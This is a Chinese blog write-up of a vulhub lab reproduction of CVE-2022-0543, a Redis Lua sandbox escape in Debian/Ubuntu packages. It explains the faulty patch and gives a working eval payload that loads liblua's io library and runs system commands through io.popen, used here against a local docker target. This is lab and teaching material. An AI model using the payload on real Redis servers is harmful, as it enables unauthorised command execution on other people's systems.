【vulhub漏洞靶场】redis漏洞(沙盒逃逸)CVE-2022-0543及漏洞复现
[TOC]
漏洞详情
受影响的系统
- 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
- 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。
受影响的 Redis 版本范围
- redis版本小于等于6.x的都可以尝试。
触发条件
攻击者需具备 Redis 的未授权访问权限或合法凭证。
漏洞原理
背景
Redis 允许通过 eval
命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。
补丁引入的漏洞
Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为 package
的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。
沙盒逃逸过程
- 加载动态库:攻击者可通过
package.loadlib
加载 Lua 系统库(如liblua5.1.so.0
),调用其导出函数(如luaopen_io
)获取io
库权限。 - 执行命令:利用
io.popen
等函数执行任意系统命令。
1 | local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); |
攻击思路
单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园
从漏洞角度来看,使用eval
函数执行上面的逃逸过程即可。
漏洞复现
kali靶机:192.168.192.132
kali攻击机:192.168.192.135
靶机进入vulhub-master/redis/CVE-2022-0543中,使用docker启动
1 | docker-compose up -d |
攻击机进行redis未授权连接
1 | redis-cli -h 192.168.192.132 |
进行getshell
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0 |
说明已经能进行命令执行了。
评论